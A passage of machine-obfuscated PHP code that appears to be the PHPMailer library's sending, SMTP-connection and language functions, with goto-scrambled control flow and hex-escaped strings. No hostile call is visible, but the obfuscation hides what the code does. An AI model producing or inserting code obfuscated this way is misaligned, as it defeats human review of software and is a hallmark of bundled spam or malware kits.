goto rG34j; prA5q: foreach (["\106\162\x6f\155", "\123\x65\156\x64\145\162", "\103\x6f\156\146\151\162\x6d\122\145\141\144\x69\x6e\147\x54\x6f"] as $i4Z49) { goto Qb5cF; AonhC: return false; goto s4f_Q; iUt8F: $this->edebug($u3gJg); goto TB2p3; bF7Qa: throw new Exception($u3gJg); goto ZCMBf; gSwcD: if (!empty($this->{$i4Z49})) { goto Fuh5N; } goto ejpcE; hU7_c: $u3gJg = sprintf("\x25\163\40\50\45\163\x29\72\x20\x25\163", $this->lang("\151\156\x76\x61\154\x69\144\137\x61\144\144\x72\x65\x73\x73"), $i4Z49, $this->{$i4Z49}); goto M5DnX; DVG4g: if (static::validateAddress($this->{$i4Z49})) { goto aKxS_; } goto hU7_c; EgDGH: qWBPz: goto UBB2C; ZCMBf: o7_k5: goto AonhC; M5DnX: $this->setError($u3gJg); goto iUt8F; tkv6P: $this->{$i4Z49} = $this->punyencodeAddress($this->{$i4Z49}); goto DVG4g; TB2p3: if (!$this->exceptions) { goto o7_k5; } goto bF7Qa; s4f_Q: aKxS_: goto EgDGH; xI7DM: Fuh5N: goto tkv6P; Qb5cF: $this->{$i4Z49} = trim($this->{$i4Z49}); goto gSwcD; ejpcE: goto qWBPz; goto xI7DM; UBB2C: } goto vbkEH; rG34j: if (!(!empty($this->DKIM_domain) and !empty($this->DKIM_selector) and (!empty($this->DKIM_private_string) or !empty($this->DKIM_private) and static::isPermittedPath($this->DKIM_private) and file_exists($this->DKIM_private)))) { goto lzGu2; } goto vhpa1; lNgyq: $this->mailHeader = ''; goto BtRXS; fYJE3: pzYUk: goto bL2j1; bL2j1: $this->mailHeader .= $this->addrAppend("\x54\x6f", $this->to); goto uruTZ; cf5W8: if (count($this->to) > 0) { goto pzYUk; } goto MJL8k; zcFaB: $this->MIMEHeader = ''; goto CCMwv; c6zhX: return true; goto VKIVw; MJL8k: $this->mailHeader .= $this->headerLine("\x54\157", "\x75\x6e\x64\151\x73\x63\x6c\157\163\x65\144\55\162\145\143\x69\x70\x69\x65\x6e\164\163\x3a\73"); goto zRTle; CCMwv: $this->MIMEBody = $this->createBody(); goto OIumw; VPOGe: $this->error_count = 0; goto lNgyq; MsAql: if (!$this->alternativeExists()) { goto vwc95; } goto D1bv6; D1bv6: $this->ContentType = static::BUxGZ; goto JMsFZ; PQjNv: throw new Exception($this->lang("\x70\162\x6f\166\x69\144\145\x5f\141\144\144\162\x65\163\x73"), self::OsS1U); goto mkMkI; VKIVw: } catch (Exception $AggU6) { goto R1ATV; R1ATV: $this->setError($AggU6->getMessage()); goto yXjMk; VryKg: return false; goto d00Cu; blDGg: throw $AggU6; goto zXNPH; yXjMk: if (!$this->exceptions) { goto NuIRy; } goto blDGg; zXNPH: NuIRy: goto VryKg; d00Cu: } goto x87Wb; uYLeb: trigger_error("\131\157\165\162\x20\166\145\162\163\x69\x6f\156\x20\x6f\146\40\x50\110\120\40\151\x73\x20\x61\x66\x66\x65\143\x74\145\144\x20\x62\171\40\141\x20\142\x75\147\x20\x74\x68\x61\164\x20\x6d\x61\x79\40\162\x65\163\x75\154\x74\x20\151\x6e\40\x63\157\x72\162\165\160\164\x65\x64\40\155\145\163\x73\x61\147\145\163\x2e" . "\40\x54\x6f\40\146\151\170\x20\x69\x74\54\x20\163\167\151\164\x63\150\40\164\x6f\x20\x73\145\x6e\x64\x69\156\147\40\x75\163\151\x6e\x67\40\123\x4d\x54\120\x2c\x20\x64\x69\163\141\142\x6c\145\x20\164\150\x65\x20\x6d\x61\151\154\x2e\141\144\x64\137\x78\137\150\x65\x61\x64\x65\x72\40\157\x70\x74\x69\157\x6e\40\x69\x6e" . "\40\x79\x6f\165\x72\40\x70\x68\160\x2e\x69\156\x69\54\40\163\167\x69\x74\143\x68\40\x74\157\40\x4d\141\x63\x4f\123\x20\157\x72\x20\114\151\x6e\x75\x78\x2c\40\157\162\x20\x75\x70\147\x72\x61\144\x65\x20\x79\x6f\165\162\x20\120\x48\120\40\164\x6f\x20\x76\x65\x72\163\151\x6f\156\x20\x37\56\60\x2e\61\x37\x2b\40\157\162\x20\67\56\x31\x2e\x33\53\56", E_USER_WARNING); goto qyhfI; GfBD3: LW4d2: goto PeqFJ; mrx9Q: goto sV6im; goto GfBD3; VB9PX: sV6im: goto UkKp7; qyhfI: YePiA: goto GQ3oH; PeqFJ: static::setLE("\xd\12"); goto VB9PX; uGbgE: if ("\163\155\164\x70" == $this->Mailer or "\x6d\x61\151\x6c" == $this->Mailer and stripos(PHP_OS, "\x57\x49\116") === 0) { goto LW4d2; } goto xx543; xx543: static::setLE(PHP_EOL); goto mrx9Q; x87Wb: } public function postSend() { try { goto muakK; muakK: switch ($this->Mailer) { case "\x73\x65\x6e\x64\155\x61\151\154": case "\161\x6d\x61\151\x6c": return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody); case "\163\x6d\164\160": return $this->smtpSend($this->MIMEHeader, $this->MIMEBody); case "\x6d\x61\151\154": return $this->mailSend($this->MIMEHeader, $this->MIMEBody); default: goto U993B; SbpG2: pdC_G: goto oX8qd; U993B: $hXLRz = $this->Mailer . "\x53\x65\x6e\144"; goto rKYNu; oX8qd: return $this->mailSend($this->MIMEHeader, $this->MIMEBody); goto HFfWD; tQFpg: return $this->{$hXLRz}($this->MIMEHeader, $this->MIMEBody); goto SbpG2; rKYNu: if (!method_exists($this, $hXLRz)) { goto pdC_G; } goto tQFpg; HFfWD: } goto SMlu5; SMlu5: pQ5Zv: goto fVqix; fVqix: G0LsT: goto Btpw_; Btpw_: } catch (Exception $AggU6) { goto lvbfS; Trgq5: throw $AggU6; goto bRUJf; bRUJf: vYjdk: goto rb2b2; a2UDl: $this->edebug($AggU6->getMessage()); goto CNDUV; lvbfS: $this->setError($AggU6->getMessage()); goto a2UDl; CNDUV: if (!$this->exceptions) { goto vYjdk; } goto Trgq5; rb2b2: } return false; } protected function sendmailSend($lTiMf, $qKvMM) { goto ARVPs; ePUVs: PVv0x: goto Fhpb9; NshtH: yz4Lh: goto zFbtP; bMYPY: return true; goto Fxdtm; g0Vhf: $pfSM7 = "\45\x73"; goto mosvr; OxI5R: if (!(0 !== $oKqtC)) { goto B0UCv; } goto VKB0U; h0A4q: $pfSM7 = "\45\163\40\55\x6f\x69\40\55\x66\x25\x73\x20\55\164"; goto KSCuv; L4K4I: goto PVv0x; goto NshtH; tuQEy: throw new Exception($this->lang("\x65\x78\145\143\x75\164\145") . $this->Sendmail, self::OsS1U); goto RFWMc; rCU4l: fwrite($s18bE, $lTiMf); goto NI69v; m5bxI: $this->doCallback($oKqtC == 0, $this->to, $this->cc, $this->bcc, $this->Subject, $qKvMM, $this->From, []); goto OxI5R; LcHVD: Yjg3U: goto zMgQ4; ARVPs: if (!empty($this->Sender) and self::isShellSafe($this->Sender)) { goto yz4Lh; } goto mzYfG; GSots: $s18bE = @popen($sRh0S, "\x77"); goto YGB9e; SwE37: U2tY3: goto YR4cO; F2Zqx: goto gsh1U; goto gPdiD; VKB0U: throw new Exception($this->lang("\145\170\x65\x63\x75\164\145") . $this->Sendmail, self::OsS1U); goto Se4Ng; j1gPF: $pfSM7 = "\x25\x73\40\x2d\146\45\163"; goto JOAGu; Se4Ng: B0UCv: goto WZzr5; Fhpb9: $sRh0S = sprintf($pfSM7, escapeshellcmd($this->Sendmail), $this->Sender); goto GQqbZ; jeChy: $oKqtC = pclose($s18bE); goto m5bxI; zFbtP: if ("\161\x6d\x61\x69\x6c" == $this->Mailer) { goto g386u; } goto h0A4q; KSCuv: goto sOfPE; goto fZgJW; RFWMc: HQ3rg: goto rCU4l; JjuZp: $pfSM7 = "\x25\163\40\x2d\x6f\151\x20\55\x74"; goto F2Zqx; fZgJW: g386u: goto j1gPF; NI69v: fwrite($s18bE, $qKvMM); goto jeChy; YGB9e: if ($s18bE) { goto HQ3rg; } goto tuQEy; zMgQ4: foreach ($this->SingleToArray as $eXV7I) { goto JUuZz; fMvea: if (!(0 !== $oKqtC)) { goto Ch7og; } goto OBYsr; JUuZz: $s18bE = @popen($sRh0S, "\x77"); goto taUGK; ZHSud: HAkR7: goto vvA3x; ZR4Pi: fwrite($s18bE, $lTiMf); goto UuIOZ; Ugp9C: throw new Exception($this->lang("\x65\x78\x65\x63\x75\x74\145") . $this->Sendmail, self::OsS1U); goto ZHSud; xd6H3: $this->doCallback($oKqtC == 0, [$eXV7I], $this->cc, $this->bcc, $this->Subject, $qKvMM, $this->From, []); goto fMvea; OBYsr: throw new Exception($this->lang("\x65\x78\x65\x63\165\x74\x65") . $this->Sendmail, self::OsS1U); goto Xpb69; vvA3x: fwrite($s18bE, "\124\157\72\40" . $eXV7I . "\xa"); goto ZR4Pi; xSNHa: Z6nvd: goto ypW5S; Xpb69: Ch7og: goto xSNHa; taUGK: if ($s18bE) { goto HAkR7; } goto Ugp9C; UuIOZ: fwrite($s18bE, $qKvMM); goto VdLf0; VdLf0: $oKqtC = pclose($s18bE); goto xd6H3; ypW5S: } goto SwE37; mzYfG: if ("\161\155\141\151\x6c" == $this->Mailer) { goto NLgjb; } goto JjuZp; mosvr: gsh1U: goto L4K4I; YR4cO: WVkuB: goto bMYPY; GQqbZ: if ($this->SingleTo) { goto Yjg3U; } goto GSots; WZzr5: goto WVkuB; goto LcHVD; JOAGu: sOfPE: goto ePUVs; gPdiD: NLgjb: goto g0Vhf; Fxdtm: } protected static function isShellSafe($Yc9br) { goto ErJKc; R2uKh: ++$Bkv4C; goto X9VfD; X9VfD: goto aWLJF; goto mCBkD; IzWJu: return true; goto px0Om; rQsrJ: $Bkv4C = 0; goto jUJcg; xgIl6: Fk_fv: goto R2uKh; AVqsE: if (!(!ctype_alnum($PCy6Y) && strpos("\x40\x5f\x2d\x2e", $PCy6Y) === false)) { goto AisHg; } goto i2oFh; jUJcg: aWLJF: goto yOupB; ErJKc: if (!(escapeshellcmd($Yc9br) !== $Yc9br or !in_array(escapeshellarg($Yc9br), ["\x27{$Yc9br}\x27", "\42{$Yc9br}\42"]))) { goto LPl9O; } goto vV32P; EgO63: AisHg: goto xgIl6; i2oFh: return false; goto EgO63; vV32P: return false; goto CYVHm; CYVHm: LPl9O: goto POtYH; mCBkD: ne6N_: goto IzWJu; POtYH: $B3Rsy = strlen($Yc9br); goto rQsrJ; c0dRk: $PCy6Y = $Yc9br[$Bkv4C]; goto AVqsE; yOupB: if (!($Bkv4C < $B3Rsy)) { goto ne6N_; } goto c0dRk; px0Om: } protected static function isPermittedPath($q7qVx) { return !preg_match("\43\136\x5b\x61\55\172\x5d\x2b\72\x2f\x2f\43\x69", $q7qVx); } protected function mailSend($lTiMf, $qKvMM) { goto XkWsZ; Ko6Ye: MdZPV: goto VUvd0; zZZQs: if (!(!empty($this->Sender) and static::validateAddress($this->Sender))) { goto vTl8t; } goto mlbii; W9xNK: foreach ($this->to as $nUYG9) { $wcTVC[] = $this->addrFormat($nUYG9); Rx019: } goto Hho_z; VUvd0: return true; goto dU0xS; l5tTq: throw new Exception($this->lang("\151\156\x73\x74\141\x6e\x74\151\141\164\x65"), self::OsS1U); goto Ko6Ye; dBLSa: $oKqtC = $this->mailPassthru($cIRlt, $this->Subject, $qKvMM, $lTiMf, $vS0Gu); goto zzP5x; NmMK7: ini_set("\x73\x65\156\x64\x6d\141\x69\x6c\x5f\146\x72\157\155", $Hnle5); goto GVfBA; uvf6e: foreach ($wcTVC as $eXV7I) { goto aUigs; fAs8h: JzTMZ: goto ish61; aUigs: $oKqtC = $this->mailPassthru($eXV7I, $this->Subject, $qKvMM, $lTiMf, $vS0Gu); goto T4Wwt; T4Wwt: $this->doCallback($oKqtC, [$eXV7I], $this->cc, $this->bcc, $this->Subject, $qKvMM, $this->From, []); goto fAs8h; ish61: } goto WLNYD; G6mbP: if (!isset($Hnle5)) { goto fxAnI; } goto NmMK7; rkvu9: rYpnN: goto c3UdF; HldEg: $cIRlt = implode("\x2c\40", $wcTVC); goto gcZOP; Snqai: vTl8t: goto uuKyH; ngoG0: $vS0Gu = sprintf("\55\x66\45\x73", $this->Sender); goto rkvu9; c3UdF: UZTov: goto zZZQs; Hho_z: QcrZk: goto HldEg; CHZe2: goto I5K0S; goto iUxCl; iUxCl: okne2: goto uvf6e; KO7A4: if (!(!empty($this->Sender) and static::validateAddress($this->Sender))) { goto UZTov; } goto Be4Bm; XkWsZ: $wcTVC = []; goto W9xNK; mlbii: $Hnle5 = ini_get("\x73\x65\x6e\144\155\141\151\154\137\146\162\x6f\x6d"); goto IHcdY; MwIJf: I5K0S: goto G6mbP; Be4Bm: if (!self::isShellSafe($this->Sender)) { goto rYpnN; } goto ngoG0; GVfBA: fxAnI: goto qI5sG; IHcdY: ini_set("\163\145\x6e\x64\x6d\141\x69\x6c\x5f\146\162\157\x6d", $this->Sender); goto Snqai; uuKyH: $oKqtC = false; goto TBpSs; qI5sG: if ($oKqtC) { goto MdZPV; } goto l5tTq; zzP5x: $this->doCallback($oKqtC, $this->to, $this->cc, $this->bcc, $this->Subject, $qKvMM, $this->From, []); goto CHZe2; gcZOP: $vS0Gu = null; goto KO7A4; TBpSs: if ($this->SingleTo and count($wcTVC) > 1) { goto okne2; } goto dBLSa; WLNYD: xE_Rz: goto MwIJf; dU0xS: } public function getSMTPInstance() { goto pwJVn; KfLPq: $this->smtp = new fPwvf(); goto x3DSi; pwJVn: if (is_object($this->smtp)) { goto U5LiD; } goto KfLPq; x3DSi: U5LiD: goto ipgtr; ipgtr: return $this->smtp; goto Vsx1t; Vsx1t: } public function setSMTPInstance(FpWvF $fsA9p) { $this->smtp = $fsA9p; return $this->smtp; } protected function smtpSend($lTiMf, $qKvMM) { goto lWBOO; Yhtys: nhg91: goto G8o9U; nyoUY: if (!(count($kAx3Q) > 0)) { goto Fizr5; } goto YxZHC; dP1bG: etdyG: goto oBj9u; lWBOO: $kAx3Q = []; goto JIhUY; EgxZf: foreach ([$this->to, $this->cc, $this->bcc] as $xb6pw) { goto XtQjs; XtQjs: foreach ($xb6pw as $cIRlt) { goto zbisL; HHq9m: Zmfmv: goto edAvi; beH2a: Zwe3L: goto hCK_4; ozgRO: $dKXAP = false; goto HHq9m; oeSKY: $dKXAP = true; goto QHqqs; NtuIH: $z9TKW = $this->smtp->getError(); goto Bfuuu; Bfuuu: $kAx3Q[] = ["\x74\x6f" => $cIRlt[0], "\145\162\x72\x6f\162" => $z9TKW["\144\x65\164\x61\x69\154"]]; goto ozgRO; B22Vx: DbeP0: goto NtuIH; edAvi: $qHlBg[] = ["\x69\x73\163\145\156\x74" => $dKXAP, "\164\x6f" => $cIRlt[0]]; goto beH2a; QHqqs: goto Zmfmv; goto B22Vx; zbisL: if (!$this->smtp->recipient($cIRlt[0], $this->dsn)) { goto DbeP0; } goto oeSKY; hCK_4: } goto VRPxX; VRPxX: bAqpe: goto Jscu4; Jscu4: tSjuO: goto HW2pY; HW2pY: } goto Yhtys; tVYFi: n3q63: goto nyoUY; EZXPE: qraLB: goto CFI1N; AHNfg: $this->smtp->close(); goto JggUW; CFI1N: foreach ($qHlBg as $ywpGc) { $this->doCallback($ywpGc["\x69\x73\163\145\x6e\164"], [$ywpGc["\x74\157"]], [], [], $this->Subject, $qKvMM, $this->From, ["\163\x6d\164\x70\137\x74\x72\x61\x6e\163\x61\143\x74\x69\157\x6e\137\x69\x64" => $pTDtR]); IWWTc: } goto tVYFi; JIhUY: if ($this->smtpConnect($this->SMTPOptions)) { goto C8v1U; } goto V3KU6; y0paH: Fizr5: goto f0Fgp; G8o9U: if (!(count($this->all_recipients) > count($kAx3Q) and !$this->smtp->data($lTiMf . $qKvMM))) { goto RuTev; } goto aOeM1; Wx_ZQ: XuUMP: goto kheTm; ya2cb: pG39z: goto bbFdt; d3gxa: goto XuUMP; goto dP1bG; FKuJZ: $this->smtp->quit(); goto AHNfg; YqXMa: C8v1U: goto Puv5_; oBj9u: $BpRrR = $this->From; goto Wx_ZQ; Vzysd: $this->setError($this->lang("\x66\162\x6f\x6d\x5f\146\141\151\x6c\145\144") . $BpRrR . "\x20\x3a\x20" . implode("\x2c", $this->smtp->getError())); goto pPv4U; Puv5_: if ('' == $this->Sender) { goto etdyG; } goto a9hYK; FyeJb: RuTev: goto Twbeb; xEjGe: wyu_p: goto Xkn5C; JggUW: goto qraLB; goto ya2cb; YxZHC: $j7DQA = ''; goto QJJU0; N1Q5T: throw new Exception($this->lang("\162\x65\x63\x69\160\151\x65\156\164\x73\x5f\146\141\151\x6c\x65\x64") . $j7DQA, self::zcFf8); goto y0paH; Twbeb: $pTDtR = $this->smtp->getLastTransactionID(); goto R6RIR; Xkn5C: $qHlBg = []; goto EgxZf; QJJU0: foreach ($kAx3Q as $uWiUA) { $j7DQA .= $uWiUA["\164\157"] . "\x3a\x20" . $uWiUA["\x65\162\x72\157\162"]; expAn: } goto ZCR1J; f0Fgp: return true; goto LuSDm; bbFdt: $this->smtp->reset(); goto EZXPE; V3KU6: throw new Exception($this->lang("\x73\x6d\164\160\137\143\157\x6e\x6e\145\143\164\137\146\141\151\x6c\145\144"), self::OsS1U); goto YqXMa; a9hYK: $BpRrR = $this->Sender; goto d3gxa; R6RIR: if ($this->SMTPKeepAlive) { goto pG39z; } goto FKuJZ; aOeM1: throw new Exception($this->lang("\144\x61\164\x61\137\x6e\157\x74\x5f\141\143\x63\145\x70\x74\145\144"), self::OsS1U); goto FyeJb; pPv4U: throw new Exception($this->ErrorInfo, self::OsS1U); goto xEjGe; kheTm: if ($this->smtp->mail($BpRrR)) { goto wyu_p; } goto Vzysd; ZCR1J: F1RN0: goto N1Q5T; LuSDm: } public function smtpConnect($LiNAI = null) { goto ls_Et; RUH0n: foreach ($Yu0M6 as $iJa6J) { goto ko2t7; OSgj4: wizVt: goto vNLnP; ty6OZ: Le3pV: goto axtnz; vy60s: $Auibs = "\163\x73\x6c\72\x2f\57"; goto Y2KKY; koN2q: $dXha4 = "\x73\x73\154"; goto cXdQB; Lu8jJ: goto xXKL2; goto OSgj4; KWn3B: $SbhNW = $Sveuh[3]; goto K5sOw; w2T4z: goto xXKL2; goto ty6OZ; PVN3X: throw new Exception($this->lang("\x65\170\164\x65\x6e\x73\151\x6f\x6e\x5f\x6d\151\x73\163\x69\156\x67") . "\157\160\145\156\163\163\154", self::OsS1U); goto wTdAU; CNAk4: if (!$this->smtp->connect($Auibs . $SbhNW, $TXy7T, $this->Timeout, $LiNAI)) { goto YOXqz; } goto QGcOJ; qbN6q: if (!($AUqvD > 0 and $AUqvD < 65536)) { goto GXwwj; } goto XCUdr; kRl99: $AUqvD = (int) $Sveuh[4]; goto qbN6q; PV7QA: GXwwj: goto CNAk4; oWivj: $dXha4 = "\x74\x6c\x73"; goto jTuTF; JYpJY: YOXqz: goto Jkt_K; aOgSL: static::edebug($this->lang("\143\x6f\x6e\156\x65\143\164\x5f\x68\157\163\x74") . "\x20" . $iJa6J); goto Lu8jJ; K5sOw: $TXy7T = $this->Port; goto kRl99; MVXGV: $Q_9gG = true; goto oWivj; gDL5w: xRyWG: goto vy60s; vNLnP: if (static::isValidHost($Sveuh[3])) { goto Le3pV; } goto m81P5; QxF_q: AxjDl: goto KWn3B; bSy8t: if ("\164\x6c\x73" == $Sveuh[2]) { goto HnTzV; } goto fX_o7; XCUdr: $TXy7T = $AUqvD; goto PV7QA; k7piB: if (preg_match("\57\x5e\x28\50\x73\163\154\174\164\154\163\x29\72\x5c\57\134\x2f\51\52\50\133\x61\x2d\172\101\55\x5a\x30\55\71\x5c\56\x2d\x5d\52\174\x5c\133\133\141\55\146\x41\55\x46\60\55\x39\x3a\135\x2b\x5c\x5d\x29\x3a\x3f\50\x5b\60\x2d\x39\x5d\x2a\x29\x24\57", trim($iJa6J), $Sveuh)) { goto wizVt; } goto aOgSL; QGcOJ: try { goto Q05Rf; hCBjo: goto FTfS3; goto mZ7lt; VzIIz: if (!$this->SMTPAuth) { goto x5xYV; } goto g0JJd; g0JJd: if ($this->smtp->authenticate($this->Username, $this->Password, $this->AuthType, $this->oauth)) { goto Xqhzs; } goto JZi55; mZ7lt: iD7a1: goto fEch3; WSyDP: $this->smtp->hello($NMgXg); goto D1cz8; vvHD5: if ($this->smtp->startTLS()) { goto gydO6; } goto kqA5r; ZsIKU: if (!$Q_9gG) { goto ilZkI; } goto vvHD5; n7O1w: Xqhzs: goto VD1PC; yAKuR: gydO6: goto feckW; VD1PC: x5xYV: goto Jotwr; D1cz8: if (!($this->SMTPAutoTLS and $EkE21 and "\x73\x73\154" != $dXha4 and $this->smtp->getServerExt("\123\x54\101\x52\x54\x54\x4c\x53"))) { goto J95hK; } goto qjiwn; Jotwr: return true; goto GXDzM; ngVnZ: J95hK: goto ZsIKU; fEch3: $NMgXg = $this->Helo; goto T9QjL; tzfwz: ilZkI: goto VzIIz; zWk0H: $NMgXg = $this->serverHostname(); goto hCBjo; feckW: $this->smtp->hello($NMgXg); goto tzfwz; Q05Rf: if ($this->Helo) { goto iD7a1; } goto zWk0H; T9QjL: FTfS3: goto WSyDP; JZi55: throw new Exception($this->lang("\x61\x75\164\x68\145\x6e\164\x69\143\x61\164\x65")); goto n7O1w; kqA5r: throw new Exception($this->lang("\143\x6f\x6e\x6e\x65\143\x74\137\x68\x6f\x73\164")); goto yAKuR; qjiwn: $Q_9gG = true; goto ngVnZ; GXDzM: } catch (Exception $AggU6) { goto PxEDz; PxEDz: $BJeKA = $AggU6; goto QxgD0; WmwTI: $this->smtp->quit(); goto IQLSR; QxgD0: $this->edebug($AggU6->getMessage()); goto WmwTI; IQLSR: } goto JYpJY; bsdvB: if ($EkE21) { goto M6gjG; } goto PVN3X; VIJcp: $Q_9gG = "\164\x6c\163" == $this->SMTPSecure; goto oe05E; FMtGv: $EkE21 = defined("\x4f\120\x45\x4e\123\123\114\137\x41\x4c\x47\x4f\x5f\x53\x48\x41\62\x35\x36"); goto cKbMh; LOPCg: HnTzV: goto MVXGV; Jkt_K: xXKL2: goto x6xhN; wTdAU: M6gjG: goto QxF_q; jTuTF: c0ugV: goto FMtGv; m81P5: static::edebug($this->lang("\143\157\x6e\x6e\145\143\x74\x5f\x68\x6f\x73\164") . "\40" . $iJa6J); goto w2T4z; cXdQB: goto c0ugV; goto LOPCg; RqENO: $dXha4 = $this->SMTPSecure; goto VIJcp; axtnz: $Auibs = ''; goto RqENO; ko2t7: $Sveuh = []; goto k7piB; cKbMh: if (!("\164\154\x73" === $dXha4 or "\163\x73\x6c" === $dXha4)) { goto AxjDl; } goto bsdvB; fX_o7: goto c0ugV; goto gDL5w; Y2KKY: $Q_9gG = false; goto koN2q; oe05E: if ("\163\x73\x6c" == $Sveuh[2] or '' == $Sveuh[2] and "\x73\163\154" == $this->SMTPSecure) { goto xRyWG; } goto bSy8t; x6xhN: } goto Yoq_O; mHWk3: $this->smtp->setVerp($this->do_verp); goto beGgd; j3Jw5: if (!($this->exceptions and null !== $BJeKA)) { goto lCj4x; } goto oSVcB; uPC6M: $BJeKA = null; goto RUH0n; Yoq_O: zuWSo: goto XKsd0; dZpc3: d2q8f: goto KoRzH; IKK9o: $this->smtp = $this->getSMTPInstance(); goto WdTvF; tfvV3: if (!(null === $LiNAI)) { goto OFYbt; } goto Lr6SP; w_avm: OFYbt: goto LNHE0; cbsmY: lCj4x: goto kh5za; XKsd0: $this->smtp->close(); goto j3Jw5; AA0pY: $this->smtp->setDebugLevel($this->SMTPDebug); goto AvfHg; beGgd: $Yu0M6 = explode("\73", $this->Host); goto uPC6M; AvfHg: $this->smtp->setDebugOutput($this->Debugoutput); goto mHWk3; kh5za: return false; goto jwQht; i7F1O: return true; goto dZpc3; ls_Et: if (!(null === $this->smtp)) { goto r9PU0; } goto IKK9o; KoRzH: $this->smtp->setTimeout($this->Timeout); goto AA0pY; WdTvF: r9PU0: goto tfvV3; Lr6SP: $LiNAI = $this->SMTPOptions; goto w_avm; LNHE0: if (!$this->smtp->connected()) { goto d2q8f; } goto i7F1O; oSVcB: throw $BJeKA; goto cbsmY; jwQht: } public function smtpClose() { goto qXPmq; gf_0L: N1Zw3: goto FZ5ZC; pt0RS: $this->smtp->quit(); goto bpjPD; bpjPD: $this->smtp->close(); goto XcljL; qXPmq: if (!(null !== $this->smtp)) { goto N1Zw3; } goto od60E; od60E: if (!$this->smtp->connected()) { goto SI5bw; } goto pt0RS; XcljL: SI5bw: goto gf_0L; FZ5ZC: } public function setLanguage($gydhc = "\145\156", $ncCJB = '') { goto jVoNq; WePIt: $gydhc = $lSC5H[$gydhc]; goto FHDTZ; jfNEh: if (!empty($ncCJB)) { goto guAtd; } goto ICVAO; hrqmX: goto RsUB0; goto HeWI3; eR1Nk: $N0Yma = false; goto bDkD_; hogcm: $this->language = $k11p7; goto gkL7w; f7teK: $gydhc = "\x65\156"; goto FUmwE; WX5ce: $k11p7 = ["\x61\x75\164\150\145\156\x74\x69\x63\x61\164\x65" => "\x53\115\124\120\40\105\162\x72\x6f\x72\x3a\x20\x43\x6f\x75\x6c\x64\x20\x6e\x6f\164\40\x61\165\164\150\145\x6e\164\x69\143\141\x74\x65\56", "\143\x6f\x6e\156\145\143\x74\x5f\x68\x6f\163\x74" => "\x53\115\124\120\x20\105\x72\162\157\162\x3a\x20\103\157\165\x6c\x64\x20\x6e\x6f\x74\40\143\157\156\x6e\145\x63\x74\x20\x74\x6f\40\123\x4d\x54\x50\x20\150\x6f\163\x74\x2e", "\x64\141\x74\x61\137\x6e\x6f\164\137\141\143\143\x65\160\x74\145\x64" => "\123\x4d\x54\x50\x20\x45\162\162\x6f\162\x3a\40\144\x61\x74\x61\40\x6e\157\164\x20\141\x63\143\x65\160\x74\145\x64\56", "\145\x6d\x70\164\171\x5f\155\x65\x73\x73\x61\x67\145" => "\115\x65\x73\x73\x61\x67\145\x20\x62\x6f\144\171\40\145\155\x70\x74\171", "\x65\156\x63\x6f\x64\x69\x6e\147" => "\125\x6e\153\156\157\167\x6e\40\145\156\x63\157\144\151\x6e\147\x3a\x20", "\x65\x78\x65\x63\x75\164\x65" => "\103\157\165\154\x64\40\156\x6f\164\x20\x65\x78\145\x63\x75\x74\145\x3a\40", "\x66\x69\x6c\x65\137\x61\143\143\145\163\x73" => "\103\157\165\x6c\x64\40\156\157\x74\x20\x61\143\x63\145\163\x73\40\146\151\154\x65\x3a\x20", "\146\x69\154\145\x5f\x6f\160\x65\156" => "\106\x69\x6c\145\40\x45\x72\x72\x6f\162\72\x20\x43\x6f\165\x6c\144\40\156\x6f\164\40\x6f\160\145\156\40\x66\151\x6c\145\x3a\40", "\x66\162\x6f\x6d\x5f\x66\x61\151\154\x65\144" => "\124\150\145\40\x66\157\x6c\154\157\x77\x69\156\x67\40\106\x72\157\x6d\40\x61\144\144\162\x65\x73\x73\40\146\141\x69\x6c\145\x64\x3a\x20", "\x69\156\163\164\141\x6e\164\x69\141\164\x65" => "\x43\x6f\x75\154\x64\40\x6e\x6f\164\40\151\156\163\x74\x61\156\164\151\x61\x74\145\40\155\141\151\x6c\40\146\165\156\x63\x74\151\157\156\56", "\151\156\166\141\x6c\151\x64\137\141\x64\x64\162\x65\163\163" => "\x49\156\166\141\x6c\151\x64\40\141\144\144\x72\x65\163\x73\x3a\x20", "\155\x61\151\154\145\x72\137\156\157\164\x5f\x73\x75\160\x70\157\x72\x74\145\144" => "\40\155\141\151\154\145\162\40\151\x73\x20\156\157\x74\x20\x73\x75\160\160\157\162\164\x65\x64\x2e", "\x70\162\x6f\x76\151\x64\145\x5f\x61\144\x64\x72\145\163\163" => "\131\x6f\x75\40\x6d\x75\x73\164\x20\160\162\157\x76\x69\x64\x65\x20\141\164\40\x6c\145\x61\163\164\40\157\x6e\145\40\x72\145\143\x69\160\151\x65\156\x74\x20\145\x6d\141\x69\154\x20\x61\144\x64\x72\x65\163\163\56", "\162\145\143\151\x70\x69\x65\156\x74\163\x5f\146\141\x69\x6c\x65\x64" => "\123\115\x54\120\x20\105\x72\x72\x6f\x72\x3a\x20\x54\x68\145\40\x66\x6f\x6c\x6c\x6f\167\151\156\147\40\162\145\143\x69\x70\151\145\156\164\163\40\146\141\151\x6c\145\144\72\40", "\163\151\147\x6e\151\x6e\x67" => "\123\x69\147\156\151\x6e\147\x20\105\162\162\x6f\162\x3a\x20", "\163\x6d\164\160\137\x63\157\x6e\x6e\x65\143\164\137\146\141\151\x6c\x65\144" => "\x53\x4d\x54\x50\40\143\x6f\x6e\156\145\143\x74\50\x29\x20\146\x61\x69\154\145\x64\x2e", "\x73\x6d\x74\x70\137\145\162\x72\157\162" => "\x53\x4d\124\x50\x20\163\145\162\166\145\162\40\145\162\162\157\x72\72\40", "\166\141\162\x69\x61\x62\154\145\x5f\x73\x65\x74" => "\103\x61\156\156\157\x74\x20\163\145\x74\x20\157\x72\x20\162\x65\x73\145\x74\x20\x76\x61\162\151\141\x62\x6c\145\72\40", "\145\x78\164\x65\x6e\x73\x69\x6f\x6e\137\155\x69\163\163\151\x6e\147" => "\x45\x78\x74\145\156\163\x69\157\156\x20\155\x69\163\x73\x69\x6e\x67\x3a\x20"]; goto jfNEh; h048w: if (!static::isPermittedPath($wzYa4) || !file_exists($wzYa4)) { goto uoMkk; } goto AXzhs; ZILGW: if (!("\145\156" != $gydhc)) { goto s26IN; } goto h048w; ICVAO: $ncCJB = dirname(__DIR__) . DIRECTORY_SEPARATOR . "\x6c\141\156\x67\165\x61\x67\145" . DIRECTORY_SEPARATOR; goto WFOLK; jVoNq: $lSC5H = ["\x62\x72" => "\x70\x74\x5f\142\x72", "\x63\172" => "\x63\x73", "\x64\153" => "\144\141", "\x6e\x6f" => "\x6e\x62", "\163\145" => "\163\x76", "\162\x73" => "\163\x72", "\x74\147" => "\164\154"]; goto u544_; A9XpV: s26IN: goto hogcm; gkL7w: return (bool) $N0Yma; goto 